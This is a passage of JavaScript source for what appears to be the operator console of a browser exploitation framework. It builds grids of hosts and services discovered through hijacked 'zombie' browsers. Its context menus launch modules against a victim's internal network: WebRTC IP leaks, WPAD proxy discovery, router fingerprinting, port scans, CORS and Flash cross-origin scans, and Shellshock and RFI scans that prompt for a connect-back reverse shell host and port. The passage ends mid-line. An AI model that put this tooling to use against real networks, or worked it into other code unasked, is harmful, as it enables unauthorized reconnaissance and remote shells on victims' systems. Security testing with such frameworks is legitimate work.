    ', listeners: { activate: function(map_panel) { draw(); } } }); /* * The panel that displays all identified network services grouped by host ********************************************/ var hosts_panel_store = new Ext.ux.data.PagingJsonStore({ storeId: 'network-host-store-zombie-'+zombie.session, proxy: new Ext.data.HttpProxy({ url: '/api/network/hosts/'+zombie.session+'?token='+token, method: 'GET' }), remoteSort: false, autoDestroy: true, autoLoad: false, root: 'hosts', fields: ['id', 'ip', 'hostname', 'type', 'os', 'mac', 'lastseen'], sortInfo: {field: 'ip', direction: 'ASC'} }); var req_pagesize = 50; var hosts_panel_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: hosts_panel_store, displayInfo: true, displayMsg: 'Displaying network hosts {0} - {1} of {2}', emptyMsg: 'No hosts to display' }); var hosts_panel_grid = new Ext.grid.GridPanel({ id: 'network-host-grid-zombie-'+zombie.session, store: hosts_panel_store, bbar: hosts_panel_bbar, border: false, loadMask: {msg:'Loading network hosts...'}, viewConfig: { forceFit: true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No hosts", enableRowBody:true }), columns: [ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, {header: 'IP Address', width: 10, sortable: true, dataIndex: 'ip', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Host Name', width: 10, sortable: true, dataIndex: 'hostname', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Type', width: 15, sortable: true, dataIndex: 'type', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Operating System', width: 10, sortable: true, dataIndex: 'os', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'MAC Address', width: 10, sortable: true, dataIndex: 'mac', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Last Seen', width: 15, sortable: true, dataIndex: 'lastseen', renderer: function(value){return $jEncoder.encoder.encodeForHTML(new Date(1000*value).toUTCString())}} ], listeners: { rowclick: function(grid, rowIndex) { var r = grid.getStore().getAt(rowIndex).data; }, contextmenu: function(e, element, options) { e.preventDefault(); }, containercontextmenu: function(view, e) { e.preventDefault(); var emptygrid_menu = new Ext.menu.Menu({ items: [ { text: 'Get Internal IP Address', iconCls: 'network-host-ctxMenu-adapter', handler: function() { var mod_id = get_module_id("get_internal_ip_webrtc"); commands_statusbar.update_sending('Identifying zombie network adapters ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Discover Proxies', iconCls: 'network-host-ctxMenu-proxy', handler: function() { var mod_id = get_module_id("get_proxy_servers_wpad"); commands_statusbar.update_sending('Scanning for WPAD proxies ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Discover Routers', iconCls: 'network-host-ctxMenu-router', handler: function() { var mod_id = get_module_id("fingerprint_routers"); commands_statusbar.update_sending('Scanning commonly used local area network IP addresses for routers ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Discover Web Servers', iconCls: 'network-host-ctxMenu-web', menu: { xtype: 'menu', items: [{ text: 'Common LAN IPs', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_name = "get_http_servers"; var mod_id = get_module_id(mod_name); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Favicon scanning commonly used local area network IP addresses for web servers [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"rhosts":"common","ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } },{ text: 'Specify IP Range', iconCls: 'network-host-ctxMenu-config', handler: function() { var ip_range = prompt("Enter IPs to scan:", '192.168.1.1-192.168.1.254'); if (!ip_range) { commands_statusbar.update_fail('Cancelled'); return; } var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } var mod_name = "get_http_servers"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for web servers...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"rhosts":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } }] } },{ text: 'Fingerprint HTTP', iconCls: 'network-host-ctxMenu-fingerprint', menu: { xtype: 'menu', items: [{ text: 'Common LAN IPs', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_name = "internal_network_fingerprinting"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Fingerprinting commonly used local area network IP addresses...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":"common"}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } },{ text: 'Specify IP Range', iconCls: 'network-host-ctxMenu-config', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); if (!ip_range) { commands_statusbar.update_fail('Cancelled'); return; } var mod_name = "internal_network_fingerprinting"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Fingerprinting ' + ip_range + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } }] } },{ text: 'CORS Scan', iconCls: 'network-host-ctxMenu-cors', menu: { xtype: 'menu', items: [{ text: 'Common LAN IPs', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_name = "cross_origin_scanner_cors"; var mod_id = get_module_id(mod_name); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('CORS scanning commonly used local area network IP addresses [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":"common","ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } },{ text: 'Specify IP Range', iconCls: 'network-host-ctxMenu-config', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); if (!ip_range) { commands_statusbar.update_fail('Cancelled'); return; } var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } var mod_name = "cross_origin_scanner_cors"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('CORS scanning ' + ip_range + ' [ports: ' + ports + '] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } }] } },{ text: 'Flash Cross-Origin Scan', iconCls: 'network-host-ctxMenu-flash', menu: { xtype: 'menu', items: [{ text: 'Common LAN IPs', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_name = "cross_origin_scanner_flash"; var mod_id = get_module_id(mod_name); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Flash cross-origin scanning commonly used local area network IP addresses [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":"common","ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } },{ text: 'Specify IP Range', iconCls: 'network-host-ctxMenu-config', handler: function() { var ip_range = prompt("Enter IP range to scan:", '192.168.1.1-192.168.1.254'); if (!ip_range) { commands_statusbar.update_fail('Cancelled'); return; } var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } var mod_name = "cross_origin_scanner_flash"; var mod_id = get_module_id(mod_name); commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: ' + ports + '] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error executing module ' + mod_name + ' [id: ' + mod_id + ']'); } }); } }] } }] }); emptygrid_menu.showAt(e.getXY()); }, rowcontextmenu: function(grid, rowIndex, e) { e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); if (!!grid.rowCtxMenu) { grid.rowCtxMenu.destroy(); } var record = grid.selModel.getSelected(); var ip = record.get('ip'); var class_c = ip.split(".")[0]+"."+ip.split(".")[1]+"."+ip.split(".")[2]; var ip_range = class_c+'.1-'+class_c+'.255'; // menu options for localhost if (class_c == '127.0.0') { grid.rowCtxMenu = new Ext.menu.Menu({ items: [ { text: 'Discover Web Servers', iconCls: 'network-host-ctxMenu-web', handler: function() { var mod_id = get_module_id("get_http_servers"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"rhosts":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Fingerprint HTTP', iconCls: 'network-host-ctxMenu-fingerprint', handler: function() { var mod_id = get_module_id("internal_network_fingerprinting"); commands_statusbar.update_sending('Fingerprinting ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'CORS Scan', iconCls: 'network-host-ctxMenu-cors', handler: function() { var mod_id = get_module_id("cross_origin_scanner_cors"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('CORS scanning ' + ip + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Flash Cross-Origin Scan', iconCls: 'network-host-ctxMenu-flash', handler: function() { var mod_id = get_module_id("cross_origin_scanner_flash"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Port Scan', iconCls: 'network-host-ctxMenu-network', menu: { xtype: 'menu', items: [{ text: 'Common Ports', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("port_scanner"); var ports = '21,22,23,25,80,81,443,445,1080,8080,8081,8090,8443,3000,3128,3389,3306,5432,6379,10000,10443'; commands_statusbar.update_sending('Port scanning ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipHost":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Specify Ports', iconCls: 'network-host-ctxMenu-config', handler: function() { var mod_id = get_module_id("port_scanner"); var ports = prompt("Enter ports to scan:", '1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Port scanning ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipHost":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } }] }); // menu options for all hosts other than 127.0.0.x } else { grid.rowCtxMenu = new Ext.menu.Menu({ items: [ { text: 'Discover Web Servers', iconCls: 'network-host-ctxMenu-web', menu: { xtype: 'menu', items: [{ text: 'Host ('+ip+')', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("get_http_servers"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Favicon scanning ' + ip + ' for HTTP servers [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"rhosts":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Network ('+class_c+'.0/24)', iconCls: 'network-host-ctxMenu-network', handler: function() { var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } var mod_id = get_module_id("get_http_servers"); commands_statusbar.update_sending('Favicon scanning ' + ip_range + ' for HTTP servers [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"rhosts":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } },{ text: 'Fingerprint HTTP', iconCls: 'network-host-ctxMenu-fingerprint', menu: { xtype: 'menu', items: [{ text: 'Host ('+ip+')', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("internal_network_fingerprinting"); commands_statusbar.update_sending('Fingerprinting ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Network ('+class_c+'.0/24)', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_id = get_module_id("internal_network_fingerprinting"); commands_statusbar.update_sending('Fingerprinting ' + ip_range + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } },{ text: 'CORS Scan', iconCls: 'network-host-ctxMenu-cors', menu: { xtype: 'menu', items: [{ text: 'Host ('+ip+')', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("cross_origin_scanner_cors"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('CORS scanning ' + ip + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Network ('+class_c+'.0/24)', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_id = get_module_id("cross_origin_scanner_cors"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('CORS scanning ' + ip_range + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } },{ text: 'Flash Cross-Origin Scan', iconCls: 'network-host-ctxMenu-flash', menu: { xtype: 'menu', items: [{ text: 'Host ('+ip+')', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("cross_origin_scanner_flash"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Flash cross-origin scanning ' + ip + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip+'-'+ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Network ('+class_c+'.0/24)', iconCls: 'network-host-ctxMenu-network', handler: function() { var mod_id = get_module_id("cross_origin_scanner_flash"); var ports = prompt("Enter ports to scan:", '80,8080'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Flash cross-origin scanning ' + ip_range + ' [ports: '+ports+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange":ip_range,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } },{ text: 'Port Scan', iconCls: 'network-host-ctxMenu-network', menu: { xtype: 'menu', items: [{ text: 'Common Ports', iconCls: 'network-host-ctxMenu-host', handler: function() { var mod_id = get_module_id("port_scanner"); var ports = '21,22,23,25,80,81,443,445,1080,8080,8081,8090,8443,3000,3128,3389,3306,5432,6379,10000,10443'; commands_statusbar.update_sending('Port scanning ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipHost":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } },{ text: 'Specify Ports', iconCls: 'network-host-ctxMenu-config', handler: function() { var mod_id = get_module_id("port_scanner"); var ports = prompt("Enter ports to scan:", '1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088'); if (!ports) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Port scanning ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipHost":ip,"ports":ports}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function(data){ commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail('Error sending command'); } }); } }] } },{ xtype: 'menuseparator' },{ text: 'Remove', iconCls: 'zombie-tree-ctxMenu-delete', handler: function() { var host_id = record.get('id'); if (!confirm('Are you sure you want to remove network host [id: '+host_id+', ip: '+ ip +'] ?')) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Removing network host [id: '+ host_id +', ip: '+ ip +'] ...'); jQuery.ajax({ contentType: 'application/json', dataType: 'json', type: 'DELETE', url: "/api/network/host/" + host_id + "?token=" + token, async: false, processData: false, success: function(data){ try { if (data.success) { commands_statusbar.update_sent('Removed network host successfully'); Ext.getCmp('network-host-grid-zombie-'+zombie.session).getStore().reload(); } else { commands_statusbar.update_fail('Could not remove network host'); } } catch(e) { commands_statusbar.update_fail('Could not remove network host'); } }, error: function(){ commands_statusbar.update_fail('Could not remove host'); } }); } }] }); } grid.rowCtxMenu.showAt(e.getXY()); }, afterrender: function(datagrid) { datagrid.store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); var hosts_panel = new Ext.Panel({ id: 'network-host-panel-zombie-'+zombie.session, title: 'Hosts', items:[hosts_panel_grid], layout: 'fit', listeners: { activate: function(hosts_panel) { hosts_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); /* * The panel that displays all identified network services sorted by host ********************************************/ var services_panel_store = new Ext.ux.data.PagingJsonStore({ storeId: 'network-services-store-zombie-'+zombie.session, proxy: new Ext.data.HttpProxy({ url: '/api/network/services/'+zombie.session+'?token='+token, method: 'GET' }), remoteSort: false, autoDestroy: true, autoLoad: false, root: 'services', fields: ['id', 'proto', 'ip', 'port', 'type'], sortInfo: {field: 'ip', direction: 'ASC'} }); var services_panel_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: services_panel_store, displayInfo: true, displayMsg: 'Displaying network services {0} - {1} of {2}', emptyMsg: 'No services to display' }); var services_panel_grid = new Ext.grid.GridPanel({ id: 'network-services-grid-zombie-'+zombie.session, store: services_panel_store, bbar: services_panel_bbar, border: false, loadMask: {msg:'Loading network services...'}, viewConfig: { forceFit: true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No services", enableRowBody:true }), columns: [ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, {header: 'IP Address', width: 10, sortable: true, dataIndex: 'ip', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Port', width: 5, sortable: true, dataIndex: 'port', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Protocol', width: 5, sortable: true, dataIndex: 'proto', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Type', width: 20, sortable: true, dataIndex: 'type', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} ], listeners: { rowclick: function(grid, rowIndex) { var r = grid.getStore().getAt(rowIndex).data; }, containercontextmenu: function(view, e) { e.preventDefault(); }, contextmenu: function(e, element, options) { e.preventDefault(); }, rowcontextmenu: function(grid, rowIndex, e) { e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); if (!!grid.rowCtxMenu) { grid.rowCtxMenu.destroy(); } var record = grid.selModel.getSelected(); var ip = record.get('ip'); var port = record.get('port'); var proto = record.get('proto'); grid.rowCtxMenu = new Ext.menu.Menu({ items: [{ text: 'Fingerprint HTTP', iconCls: 'network-host-ctxMenu-fingerprint', handler: function () { var mod_id = get_module_id("internal_network_fingerprinting"); commands_statusbar.update_sending('Fingerprinting ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange": ip + '-' + ip, "ports": port}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function (data) { commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function () { commands_statusbar.update_fail('Error sending command'); } }); } }, { text: 'CORS Scan', iconCls: 'network-host-ctxMenu-cors', handler: function () { var mod_id = get_module_id("cross_origin_scanner_cors"); commands_statusbar.update_sending('CORS scanning ' + ip + ' [port: '+port+'] ...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({"ipRange": ip + '-' + ip, "ports": port}), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function (data) { commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function () { commands_statusbar.update_fail('Error sending command'); } }); } }, { text: 'Shellshock Scan', iconCls: 'network-host-ctxMenu-shellshock', handler: function () { var mod_id = get_module_id("shell_shock_scanner"); var lhost = prompt("Enter local IP for connect back shell:", 'LHOST'); if (!lhost || lhost == 'LHOST') { commands_statusbar.update_fail('Cancelled'); return; } var lport = prompt("Enter local port for connect back shell:", 'LPORT'); if (!lport || lport == 'LPORT') { commands_statusbar.update_fail('Cancelled'); return; } alert("Now start your reverse shell handler on " + lhost + ':' + lport); commands_statusbar.update_sending('Shellshock scanning ' + ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({ "rproto": proto, "rhost": ip, "rport": port, "lhost": lhost, "lport": lport }), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function (data) { commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function () { commands_statusbar.update_fail('Error sending command'); } }); } }, { text: 'RFI Scan', iconCls: 'network-host-ctxMenu-php', handler: function () { var mod_id = get_module_id("rfi_scanner"); var lhost = prompt("Enter local IP for connect back shell:", 'LHOST'); if (!lhost || lhost == 'LHOST') { commands_statusbar.update_fail('Cancelled'); return; } var lport = prompt("Enter local port for connect back shell:", 'LPORT'); if (!lport || lport == 'LPORT') { commands_statusbar.update_fail('Cancelled'); return; } alert("Now start your reverse shell handler on " + lhost + ':' + lport); commands_statusbar.update_sending('Shellshock scanning ' 